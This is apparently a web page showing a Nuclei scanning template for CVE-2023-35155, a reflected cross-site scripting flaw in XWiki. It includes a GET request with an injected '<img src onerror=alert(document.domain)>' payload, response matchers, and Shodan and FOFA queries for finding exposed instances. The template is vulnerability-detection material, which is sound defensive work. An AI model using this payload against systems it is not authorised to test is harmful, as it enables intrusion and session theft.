Skip to content

XWiki - Cross-Site Scripting

ID: CVE-2023-35155

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,xwiki,xss

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).

id: CVE-2023-35155
info:
name: XWiki - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).
impact: |
Successful exploitation could lead to unauthorized access to sensitive information or account takeover
remediation: |
Apply the latest security patches provided by XWiki to mitigate the vulnerability
reference:
- https://jira.xwiki.org/browse/XWIKI-20370
- https://nvd.nist.gov/vuln/detail/CVE-2023-35155
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-35155
cwe-id: CWE-79
epss-score: 0.00046
epss-percentile: 0.15636
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message={{randstr}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src onerror=alert(document.domain)>"
- "Applications</h2>"
- "Navigation</h2"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022068f15433a009c160c611864d3abf835507f29ba67a35111d9bf6fef7169f41460220699fc0790af74a60322757e91121b359566e8cae81f7791651337370ec51c410:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35155.yaml"

View on Github